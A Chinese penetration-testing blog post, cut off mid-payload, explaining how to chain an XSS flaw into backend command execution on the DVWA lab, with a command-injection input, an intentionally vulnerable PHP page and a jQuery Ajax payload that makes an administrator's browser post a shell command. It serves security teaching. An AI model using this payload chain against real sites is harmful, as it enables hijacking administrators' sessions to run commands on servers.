渗透测试 | 详解前端漏洞触发后端RCE

2024-06-04 414 0

简介

在实际渗透测试中,经常碰到目标使用的CMS带有后台RCE漏洞,导致无法利用,但是后端RCE漏洞也可以通过目标的前端漏洞进行触发。

XSS

我们先以XSS漏洞进行触发后端RCE,该实验以DVWA靶机进行演示。在DVWA靶机的命令注入部分尝试注入命令:

1;ls

通过Burp可以查看到命令注入的请求包是POST类型:

假设目标不是DVWA靶机,而是实际环境,且目标恰好有XSS漏洞,那么就可以通过构造XSS来引诱目标管理员触发RCE。编写代码创建一个简单的带有XSS漏洞的网页,php.php:

<?php
highlight_file(__FILE__);
$id = $_GET['id'];
echo ($id);
?>

既然有XSS漏洞了,那么怎么触发RCE请求呢?我们可以使用Ajax构造请求,如果目标没有jQuery,怎么触发Ajax请求呢?我们可以使用script标签包裹一个jQuery:

<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script>

然后我们可以通过Ajax构造请求达到触发RCE,payload:

$.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) {
  let p = $(d).contents().find('input[name=\"path\"]').val();
$.ajax({
  url:'http://192.168.64.129/DVWA/vulnerabilities/exec/',
  type:'POST',
  data:{
       "ip": '1;touch 1',  //执行命令
       "Submit": "Submit"},});
});

注意data内容与Burp抓取到的命令注入包内容一致。然后将该段代码进行Base64 Encode,防止特殊字符导致转义。

但是我们浏览器又不能自动解析Base64,所以的需要atob标签包裹解析该串Base64字符串,完整包裹语句:

atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

揭秘APT37:朝鲜黑客组织的攻击手法及工具
初学代码审计之lmxcms源代码审计
PHP入门到精通-学习之路
CodeQL学习笔记(2)-QL语法(递归)
针对Spring-Boot 框架漏洞的初探
SQL注入原理剖析以及靶场+实战(CTF与SRC进阶版)

发布评论